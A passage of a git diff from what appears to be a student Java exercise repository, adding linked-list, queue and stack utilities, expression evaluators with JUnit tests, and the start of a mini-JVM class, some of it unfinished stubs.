+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		if(list==null){
+			return null;
+		}
+		int size=list.size;
+		int jude=0;
+		int [] newInt=new int[size];
+		while(jude<size&&size>0){
+			int index=(int) list.get(jude);
+			if(index>=0&&index<this.size){
+				newInt[jude]=(int) get(index);
+				jude++;
+			}
+			
+		}
+		return Arrays.copyOf(newInt, jude);
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		if(list==null){
+			return ;
+		}
+		int size=list.size;
+		int jude=0;
+		while(jude<size&&size>0){
+			int index=(int) list.get(jude);
+			for(int i=0;i<this.size;i++){
+				int data=(int) get(i);
+				if(data==index){
+					if(i==0){
+						head=indexOf(i+1);
+					}
+					else if(i==this.size-1){
+						last=indexOf(i-1);
+						last.next=null;
+					}
+					else{
+						Node bIndex=indexOf(i-1);
+						Node aindex=indexOf(i+1);
+						bIndex.next=aindex;
+					}
+					this.size--;
+					break;
+				}
+			}
+			jude++;
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		int i=0;
+		int j=0;
+		Node pre=head;
+		Node next=head.next;
+		while(i<size-1){
+			if((int)pre.data==(int)next.data){
+				Node temp=indexOf(j);
+				temp.next=next.next;
+				size--;
+			}
+			j++;
+			next=next.next;
+			if(next==pre){
+				next=next.next;
+			}
+			
+			if(j==size-1){
+				pre=pre.next;
+				next=head;
+				j=0;
+				i++;
+			}
+		}
+		/*for(int i=0;i<size;i++){
+			int data1=(int) get(i);
+			for(int j=i+1;j<size;j++){
+				int data2=(int) get(j);
+				if(data1==data2){
+					if(j==0){
+						head=indexOf(j+1);
+					}
+					else if(j==this.size-1){
+						last=indexOf(j-1);
+						last.next=null;
+					}
+					else{
+						Node bIndex=indexOf(j-1);
+						Node aindex=indexOf(j+1);
+						bIndex.next=aindex;
+					}
+					this.size--;
+				}
+			}
+		}*/
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min       1 2 3 4 5 6 7 8   3 ,6 
+	 * @param max        
+	 */  
+	public  void removeRange(int min, int max){
+		if(head==null){
+			return;
+		}
+		int start=-1;
+		int end=-1;
+		Node temp=head;
+		int i=0;
+		while(temp!=null){
+			if((start == -1) &&(int)temp.data>min){
+				start=i;
+			}
+			if((int)temp.data>=max){
+				end=i;
+				break;
+			}
+			i++;
+			temp=temp.next;
+		}
+		if(start==-1){
+			start=0;
+		}
+		if(end==-1){
+			end=size;
+		}
+		this.remove(start,end-start);
+	
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		if(list==null){
+			return null;
+		}
+		int i=0;
+		int j=0;
+		LinkedList c=new LinkedList();
+		while(i<this.size&&j<list.size){
+			if((int)get(i)==(int)list.get(j)){
+				c.add(get(i));
+				i++;
+				j++;
+			}
+			else if((int)get(i)>(int)list.get(j)){
+				j++;
+			}
+			else{
+				i++;
+			}
+		}
+		return c;
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java b/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..1ac659da3d
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,5 @@
+package com.coding.basic.queue;
+
+public class CircleQueue {
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java b/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..d629d847f4
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,19 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 知道最后一个人留下来
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		return null;
+	}
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java b/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..7d90318b51
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/Queue.java b/group04/844028312/data-structure/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..cd69fde72a
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,26 @@
+package com.coding.basic.queue;
+
+import com.coding.basic.linklist.LinkedList;
+
+public class Queue {
+	private LinkedList linkedList=new LinkedList();
+	
+	public void enQueue(Object o){	
+		linkedList.addLast(o);
+	}
+	
+	public Object deQueue(){
+		return linkedList.removeFirst();
+	}
+	
+	public boolean isEmpty(){
+		if(linkedList.size()>0){
+			return false;
+		}
+		return true;
+	}
+	
+	public int size(){
+		return linkedList.size();
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..bbd4715ca6
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,40 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+
+
+    public boolean isEmpty() {
+       return false;
+    }
+
+
+    
+    public int size() {
+       return -1;
+    }
+
+
+
+    public void enQueue(E item) {
+        
+    }
+
+    public E deQueue() {
+        return null;
+    }
+
+
+ }
+
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/Stack.java b/group04/844028312/data-structure/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..6079d67598
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,30 @@
+package com.coding.basic.stack;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){	
+		elementData.add(o);								//��ջ��ѹ��Ԫ��
+	}
+	
+	public Object pop(){
+		Object o=elementData.get(elementData.size()-1);	//ջ��Ԫ�أ���Ϊջ�Ƚ���
+		elementData.remove(elementData.size()-1);		//�Ƴ�ջ��Ԫ��
+		return o;							
+	}
+	
+	public Object peek(){
+		return elementData.get(elementData.size()-1);   //��ȡջ��Ԫ��
+	}
+	public boolean isEmpty(){
+		if(elementData.size()==0){			//���elementData.size�ж��Ƿ�Ϊ��
+			return true;
+		}
+		return false;
+	}
+	public int size(){
+		return elementData.size();			
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/StackUtil.java b/group04/844028312/data-structure/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..569b217b4c
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,135 @@
+package com.coding.basic.stack;
+import java.util.Stack;
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(isEmpty(s)){
+			return ;
+		}
+		Stack help=new Stack();
+		int size=0;
+		while(!s.isEmpty()){
+			Object o=s.pop();
+			help.push(o);
+			size++;
+		}
+		Object[] o=new Object[size];
+		int i=0;
+		while(!help.isEmpty()){
+			o[i]=help.pop();
+			i++;
+		}
+		for(int j=0;j<o.length;j++){
+			s.push(o[o.length-1-j]);
+		}
+		
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(isEmpty(s)){
+			return ;
+		}
+		Stack help=new Stack();
+		while(!s.isEmpty()){
+			if(s.peek().equals(o)){
+				s.pop();
+			}
+			else{
+				help.push(s.pop());
+			}
+		}
+		while(!help.isEmpty()){
+				s.push(help.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if(isEmpty(s)){
+			return null;
+		}
+		int size=0;
+		Object[] o=new Object[len];
+		while(!s.isEmpty()){
+			Object en=s.pop();
+			o[size++]=en;
+			if(size==len){
+				break;
+			}
+		}
+		for(int i=0;i<len;i++){
+			if(o[len-i-1]!=null)
+				s.push(o[len-i-1]);
+			
+		}
+		return o;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		char [] c=s.toCharArray();
+		Stack stack=new Stack();
+		for(int i=0;i<c.length;i++){
+			if("(".equals(c[i]+"") || "[".equals(c[i]+"") || "{".equals(c[i]+"")){
+				stack.push(c[i]+"");
+			}
+			else if(")".equals(c[i]+"") || "]".equals(c[i]+"") || "}".equals(c[i]+"")){
+				if(!stack.isEmpty()){
+					if(!stack.pop().equals(opposite(c[i]+""))){
+						return false;
+					}
+				}
+			}
+		}
+		return true;
+	}
+	
+	public static String opposite(String s){
+		if(")".equals(s)){
+			return "(";
+		}
+		else if("]".equals(s)){
+			return "[";
+		}
+		else{
+			return "{";
+		}
+	}
+//	public static int getSize(Stack s){
+//		int size=0;
+//		while(!s.isEmpty()){
+//			s.pop();
+//			size++;
+//		}
+//		return size;
+//	}
+	
+	public static boolean isEmpty(Stack s){
+		if(s==null || s.isEmpty()){
+			return true;
+		}
+		return false;
+	}
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/StackUtilTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..76f2cb7668
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,65 @@
+package com.coding.basic.stack;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..3028e168c5
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,207 @@
+package com.coding.basic.stack.expr;
+
+import java.util.StringTokenizer;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import com.coding.basic.Stack;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {		
+		if(expr==null|| expr.equals("")){
+			return 0.0f;
+		}
+		Stack numStack=new Stack();
+		Stack opoStack=new Stack();
+		int num = 0;
+		StringTokenizer st = new StringTokenizer(expr,"+,-,*,/",true);
+		
+		while(st.hasMoreElements()){
+			String s=(String) st.nextElement();
+			if("+".equals(s) || "*".equals(s) || "-".equals(s)|| "/".equals(s)){
+				if(opoStack.isEmpty()){
+					opoStack.push(s);
+				}
+				else{
+					num=opoPush(opoStack,numStack,s);
+				}
+			}
+			else {
+//				if(num!=0){
+//					Stack temp=new Stack();
+//					while(!numStack.isEmpty()){
+//						temp.push(numStack.pop());
+//					}
+//					String top = null;
+//					String a = null;
+//					int j=0;
+//					while(!temp.isEmpty()){
+//						top=(String) temp.pop();
+//						if(j==num){
+//							a=top;
+//							numStack.push(s);
+//						}
+//						else{
+//							numStack.push(top);
+//						}
+//						j++;
+//					}
+//					numStack.push(a);
+//				}
+//				else{
+//					numStack.push(s);
+//				}
+				numStack.push(s);
+			}
+		}
+		float result = 0;
+		if(!opoStack.isEmpty()){
+			String opoOne=(String) opoStack.pop();
+			String opoTwo=(String) opoStack.pop();
+			opoStack.push(opoTwo);
+			opoStack.push(opoOne);
+			if(("*".equals(opoOne)||"/".equals(opoOne))&&("*".equals(opoTwo)||"/".equals(opoTwo))){
+				
+			}
+			else if("*".equals(opoOne)||"/".equals(opoOne)){
+				float one= Float.parseFloat((String) numStack.pop()) ;
+				float two= Float.parseFloat((String) numStack.pop());
+				String opo=(String) opoStack.pop();
+				if("-".equals(opo)){
+					result=two-one;
+				}
+				else if("+".equals(opo)){
+					result=one+two;
+				}
+				else if("/".equals(opo)){
+					result=two/one;
+				}
+				else {
+					result=two*one;
+				}
+				numStack.push(result+"");
+			}
+		}
+		Stack revOpo=new Stack();
+		Stack revNum=new Stack();
+		
+		while(!opoStack.isEmpty()){
+			revOpo.push(opoStack.pop());
+		}
+		while(!numStack.isEmpty()){
+			revNum.push(numStack.pop());
+		}
+		while(!revOpo.isEmpty()){
+			float one= Float.parseFloat((String) revNum.pop()) ;
+			float two= Float.parseFloat((String) revNum.pop());
+			String opo=(String) revOpo.pop();
+			if("-".equals(opo)){
+				result=one-two;
+			}
+			else if("+".equals(opo)){
+				result=one+two;
+			}
+			else if("/".equals(opo)){
+				result=one/two;
+			}
+			else {
+				result=two*one;
+			}
+			revNum.push(result+"");
+		}
+		return Float.parseFloat((String) revNum.pop());
+	}
+	//2+3*4+5 5-2-2+3-->  5+3-2  75/3/5*5 15*5/3
+	private int opoPush(Stack opoStack,Stack numStack,Object opo){
+		int num=0;//记录减号的最深位置
+		if("+".equals(opo)){
+			if(!opoStack.isEmpty()){
+				if("*".equals(opoStack.peek())||"/".equals(opoStack.peek())){
+					float one= Float.parseFloat((String) numStack.pop()) ;
+					float two= Float.parseFloat((String) numStack.pop());
+					float result;
+					if("*".equals(opoStack.peek())){
+						opoStack.pop();
+						result=two*one;
+					}
+					else{
+						result=two/one;
+					}
+					numStack.push(result+"");
+				}
+			}
+//			Stack temp=new Stack();
+//			boolean flag=false; //记录是否转移位置
+//			while(!opoStack.isEmpty()){
+//				temp.push(opoStack.pop());
+//			}
+//			int i=0;
+//			while(!temp.isEmpty()){
+//				String top= (String) temp.pop();
+//				if("-".equals(top)&&!flag){
+//					num=i+1;
+//					opoStack.push("+");
+//					flag=true;
+//				}
+//				opoStack.push(top);
+//				i++;
+//			}
+//			if(!flag){
+//				opoStack.push("+");
+//			}
+			opoStack.push("+");
+		}
+		else if("-".equals(opo)){
+			if(!opoStack.isEmpty()){
+				if("*".equals(opoStack.peek())||"/".equals(opoStack.peek())){
+					float one= Float.parseFloat((String) numStack.pop()) ;
+					float two= Float.parseFloat((String) numStack.pop());
+					float result;
+					if("*".equals(opoStack.peek())){
+						opoStack.pop();
+						result=one*two;
+					}
+					else{
+						result=one/two;
+					}
+					numStack.push(result+"");
+				}
+			}
+			opoStack.push("-");
+		}
+		else if("*".equals(opo)){
+//			Stack temp=new Stack();
+//			boolean flag=false; //记录是否转移位置
+//			while(!opoStack.isEmpty()){
+//				temp.push(opoStack.pop());
+//			}
+//			int i=0;
+//			while(!temp.isEmpty()){
+//				String top=(String) temp.pop();
+//				if("/".equals(top)&&!flag){
+//					num=i+1;
+//					opoStack.push("*");
+//					flag=true;
+//				}
+//				opoStack.push(top);
+//				i++;
+//			}
+//			if(!flag){
+//				opoStack.push("*");
+//			}	
+			opoStack.push("*");
+		}
+		else if("/".equals(opo)){
+			opoStack.push("/");
+		}
+		return num;
+	}
+	
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..25a26547e9
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,60 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("5-2+3");
+			Assert.assertEquals(6.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2"); 
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2"); 
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr(" 5-2-2+3");//5+3-2-2
+			Assert.assertEquals(4, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("75/3/5*5"); //75*5/3/5  0.6
+			Assert.assertEquals(25.0, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..96a2194a67
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,14 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		
+		return null;
+	}
+	
+	
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..dcbb18be4b
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,18 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..956927e2df
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,18 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/Token.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParser.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..d3b0f167e1
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group04/844028312/min-jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group04/844028312/min-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
